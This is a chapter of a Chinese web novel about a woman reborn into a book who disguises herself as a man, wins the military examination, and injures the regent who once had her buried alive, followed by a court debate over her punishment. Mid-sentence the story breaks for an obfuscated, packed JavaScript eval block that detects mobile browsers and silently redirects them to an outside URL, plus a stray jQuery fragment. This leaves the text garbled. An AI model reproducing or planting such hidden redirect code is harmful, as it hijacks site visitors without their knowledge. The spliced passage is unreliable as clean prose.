沈藏被禁军按伏在地,一旁王霸也吓得跪倒,侧头做着无声口型:“你和韩相公有仇吗?”
沈藏一张俊脸被地上凉砖挤压变形,无声苦笑:王霸你没说错,我和韩岿,是真有不共戴天之仇.......
........
穿来这本名为《女帝风华录》的书之前,沈藏有个壳子,是现代体育生。
她是武术专业的,参加了各种大大小小的赛事,奖牌摘得也不计其数。本以为职业道路一片坦途时,在一次国际大赛中不慎被对手击中太阳穴,当时人就过去了。
再度睁眼,在灵肉混合的混沌之际,她意识到自己穿书了。
但只摸清了这本书的背景:架空大梁朝,自己是县尉家的大女儿,一个选秀进宫半年未得幸的小才人。
那沈藏是这本书的主角吗?还真不是。主角女帝不是她,女配不是她。她只是这本书开页情节的一个炮灰,只为铺垫逆臣男主狠辣手段的道具。
大梁国,本国富民强,奈何皇帝昏庸做派:吟诗作赋作风雅,观星修道求长生。
几十年荒废耗损,导致朝廷重文轻武,纸上谈兵的能臣泛泛,卫国守疆的悍将寥寥。最终强邻坐大,越境烧杀抢掠,打得大梁年年交岁币纳贡,最后割了北地十六州,签下丧权辱国的臣服盟约,才保了几岁平安。
国耻之下,民情激愤,朝局随之动荡。逆臣召集人马起势逼宫,老皇帝也被他灌了过量丹药崩于寝宫,小皇帝被扶上位。
逆臣,自封军国摄政大臣调度百官,坐镇前朝,他便是韩岿!
他赦了全后宫的寡妇们,原本沈藏也在内。不料来了个司天监的崂山道士,掐着指说先帝被逼龙驭宾天,怨气笼罩皇城,需要一个纯阴女体将之笼络包容,再移至皇陵——也就是说,要有后妃殉葬。
后宫的寡妇们吓得两股战战,抖掉了满头金钗。但这“荣幸”也不是人人都有的。一要命理相配,需生辰八字与老皇帝互补的。二要纯阴洁体,那就是未得过幸的。
这样的条件全宫拢共也没几个,沈藏就这么幸运地被选上了。
沈藏想起前世,韩岿手下禁军把自己强塞进了华贵棺木中,指甲都抠折了,棺盖还是沉沉压下,挤烂了十指。
逆臣全程冷漠视之,一丝怜悯皆无。
幼帝心慈,听着棺内绝望哭喊,噙着泪珠拜倒求那逆臣,言道守陵一样可以镇慑怨魂,何必伤一条无辜性命,落天下人口舌。
只是那逆臣铁石心肠,沈藏仍旧被钉死在棺木中,抬去暗无天日的皇陵里陪那老鬼,五日后奄奄气绝而亡......
.......
沈藏前世穿越,以为当妃子能走上人生巅峰,好赖强过从前卖力气比赛的生活,于是她就在后宫躺平了,结果只活了寥寥几个字。
她不知道书的通篇剧情,只知道个剧情梗概。在她可知的信息里,只知道幼帝其实是个女子,《女帝风华录》的主角正是那位帮自己求续生命而不得的人。
那本书的简介就是女帝和逆臣缠斗一生的故事,真可谓是恨海情天、相爱相杀。
前世殉葬而死后,沈藏再次穿越,老天还是不长眼:同样的书,同样的人物。
只是这次幸运稍有加持,穿来时她还年幼,仅仅九岁,离选秀入宫且还得等六年,她发誓要将命运的船头转个舵!
肉身之父是一名在穷乡僻壤熬业绩的县尉,他做官清廉,但十分庸碌,这辈子是无望升官了。而沈娘子肚皮也不争气,只生了三个小娘子,唯一可喜的是都貌美如花。
把女儿送进宫当个宫妃,这是沈县尉能想到,唯一逆天改命的机会,不然等他致仕还乡,几分薄田怕养不活家中老人和妇孺。
沈藏哪里还会肯,便打起女扮男装的主意,央求老父并发誓一定以男儿身光宗耀祖。
沈藏的想法不过是能在这个架空时代的书里活得自在些,可以不婚不育,可以养活自己,那么,考个古代‘公务员’应该是最稳妥的一条路。
试试便让她试试了,沈家对外只说大女儿回乡孝守婆婆,换了老家根本不存在的大郎承欢膝下。
结果沈藏高估了自己脖子上那个家伙什儿了,诗词歌赋记不住,经义策论学不会。三年后,当沈县尉失望的眼神扫向自己时,沈藏想起来了,自己是个文理都不大通的体育生。
怕被沈县尉再提入宫选秀,沈藏痛定思痛,将自己的职业生涯又重新规划了一番:文举不行,改自己擅长的吧,剑指武举!
专业对口便游刃有余,现代的科学训练配以中西结合的格斗精华,沈藏在三个月后就打败了请来的武师傅,沈氏家人都看得目瞪口呆。
又六年,送走了最后一个武师傅后,沈藏终于在祖宗牌位下姿态豪迈地跪倒:“列祖列宗,小子沈藏必为家族争光,势夺武考魁首!”
沈娘子捏着帕,不忍看,自家好好一个青春少艾的女儿,怎么一副糙汉子做派!
沈娘子沁出的眼泪都沾湿了巾子,却见自家老爷抚须颔首,满意道:“我儿大志气,理该铁血报国!”沈娘子气怒,由着两个小女儿搀扶退去。
这一年光景,沈藏从解试一路考到武进士,今日终于踏上这金銮殿,夺得武状元殊荣。
只是今日,她压不住自己前世被活殉的积怨,将那逆臣仇家踢成了重伤!
重伤的韩岿已经被扶进了殿后的内廷,里外里进了两拨御医了。
少帝在龙椅上坐立不安,看向殿下被禁军压制的沈藏,叹气道:“公相如朕亚父,他若有事,朕与臣民都不能饶你。”
这话含着嗔怪,却听得沈藏眼热。
“都指挥使,你先让班直们松开他,只叫他跪着,治不治罪,且看公相的伤势。”少帝轻抬腕子挥手道。
禁军首领领命,四下一示意,沈藏身上十七八道降拿的力道就松了开去。
沈藏坐起跪好,全身被扣得酸痛,仍勉力抬头看向殿上少年皇帝。
少年天子明黄的龙袍在身,轻盈荣耀,像一颗茧子包裹着‘他’,那副秀气的面容,那双温润的瑞凤眼,熟悉又陌生。
虽和前世记忆中的相貌不相一致,但大抵是前世自己最后见‘她’,是在‘她’十三岁的年纪,而现在‘她’已经十七岁了。于面容上变了许多,心肠却仍旧慈悲。
足足过了半个时辰,御医们蜂拥退出。
领头医官使跪下回复少帝:“启禀陛下,韩相公胸骨未断,但震及肺腑,所以才呈吐血之症。臣等施了针后,内里淤滞也已消了一半,现人已清醒。
医官边说边观察皇帝面色:“臣细细摸了脉门,虽无性命之虞,但也怕要将养几月了......”
少帝喜忧参半,眼眶慢红,轻柔交代道:“务必将公相调养好,御药院的补药若是色质不好,便叫冯内官从朕的内藏库里拨银钱去民间采购。”
一听韩岿要修养这许久,底下朝臣神情各异,议论纷纷,颇有点群龙无首,一盘散沙之态。次相崔元甫老迈,半阖着混沌老眼,执着笏板只当浑然不觉。
侍郎冯籍出列奏道:“陛下,今日武举被沈藏搅了局面,这人名次不宜再留,应往下擢拔补序。至于惩治,臣以为,应将他下至大狱。他这般痛下杀手,背后是否有人唆使?必须严刑逼供。”
一听要刑逼,沈藏马上扑地喊冤:“陛下,臣断无此意啊!只是武艺较量,臣一时收发不住力道。”是故意的,但没想要韩岿性命!
“臣与韩相公无冤无仇,万无害他之理!陛下明鉴!”沈藏净白额头磕在冷硬地砖上。
刺骨悔意沁入冷静后的脑门:沈藏啊沈藏,上辈子死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062501|195088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
相凄惨,这辈子才初见光明未来,就被自己这一脚葬送了,怎么就不能忍一忍呢?
朝臣有默声不发者,亦有慨然应和冯籍者,句句都是痛心肱骨受损,恨不能身替之。
禁军们亦威仪站着,手握佩刀,等着少帝旨意。
“臣以为不可。”
恰时,一名苍松玉竹般的年轻臣子出列,是御史中丞孙玄绰。
他从容禀道:“韩相公乃国之柱石,陛下肱骨,此番受伤,臣等亦痛心。
“只是,武举本就为了拔擢悍将,沈状元确实功夫超群。只是年轻孟浪些,与切磋上忘乎所以,一时失了分寸误伤了韩相公,非故意忤逆行凶。”
“臣等观他巧技悍力,日后定能为国驱策效力。现下朝廷求将才若渴,用打杀刑讯之法,必会寒了天下武人报国之心。”
沈藏感恩涕零:御史台的大人,嘴皮子果然了得。
冯籍官阶大孙玄绰半品,日常不将他放在眼里,即便是御史台又如何?听得此话,不由怒道:“如何看出沈藏非有意为之?王霸与他交手,他且战且让点到为止,怎韩相公与他较艺,他便铆足了杀招?韩相公有心考较,究竟是个文官,他沈藏怎又不知道分寸了?”
“冯大人的意思是,韩相公于武艺上是绣花枕头?”孙玄绰舒展长眉,狐狸眼眼尾轻挑。
冯籍差点咬了舌头,涨红了面皮“你你你”半天,辩不出个理来。
少帝见二人意见相左,冯侍郎吃了瘪,脸红脖子粗,忧心望向闭目养息的次相崔元甫,讨教道:“崔相公,可有说法?”
崔元甫总算撩起了眼皮,老迈的嗓子苍苍发声:“臣以为,韩相公既然已清醒,如何发落沈藏,不如陛下与韩相公共同商议吧。”
好你个老东西,不粘锅!沈藏暗骂崔元甫,把她交给韩岿,岂不是直接断了她生死?韩岿那逆臣岂是好相与的?尤记得那双无情眸子在哭求不要去殉葬的前一世的沈才人上碾过时,如视蝼蚁一般。
当下万般求生之念绕转,决定主攻秉性柔善的少帝。
沈藏抬头凛然道:“臣误伤栋梁,罪该万死!但臣自幼习武,只求效命朝廷,没料到臣这身蛮力,惹下如此祸端,愧对陛下的知遇之恩。臣一介粗莽,死不足惜,斧钺加身,瘴地流放,臣绝无二话。
“只求陛下和韩相公知晓,臣纵使身死,魂魄也必将日夜北望,祝祷我朝能收复失地.....”额头触底,甘愿赴死之态。
殿上皆默。不知殿后内廷中,韩岿是否听闻,只龙椅上的少帝双眼噙着浅波,怔怔望着沈藏。
一旁的王霸听得血热,跪直了上身,粗声鼓舞沈藏:“沈好汉,报国保家,你这份雄心不能被埋没,俺王霸愿替你去砍头流放。”
他浑厚男声继续响彻殿内外:“沈状元的殷殷北望之情,一如俺在边疆城头日日所想。俺家乡陇州,从前民富地庶,边民安居乐业,如今,已成边贼牧畜之地。
眼泛湿热:“多少将士和俺一样恨羯狗入骨,可恨国土沦陷,失一城易,复一寸土难!今日,如要诛杀一心北望的志士,可叫北方豺狼鼓掌欢欣。国无悍将,堡寨、壕堑是否要一再退缩,回逼京师?”
“边陲莽夫好大胆!”冯籍抽笏板直指,瞪视喝斥:“倚仗边功,喧嚣大殿。指挥使,将此人一并拿下!”
王霸昂头挺立,不屑辩驳。依旧是孙玄绰出列回护,针锋相对:“武将不临朝,何必苛责仪状?”
再禀少帝:“沈状元这次弓马有失,但恰如宝刀初试,他日利刃尽可用在北地杀贼,赤子之心,岂可辜负?”
他锋利眼尾一扫冯籍,进逼道:“冯大人,陛下和韩相公都未有评断,你一再寻衅加罪,是何居心?”
“咳咳......”内廷传出几声刻意的咳嗽,强撑之下也是虚软无力。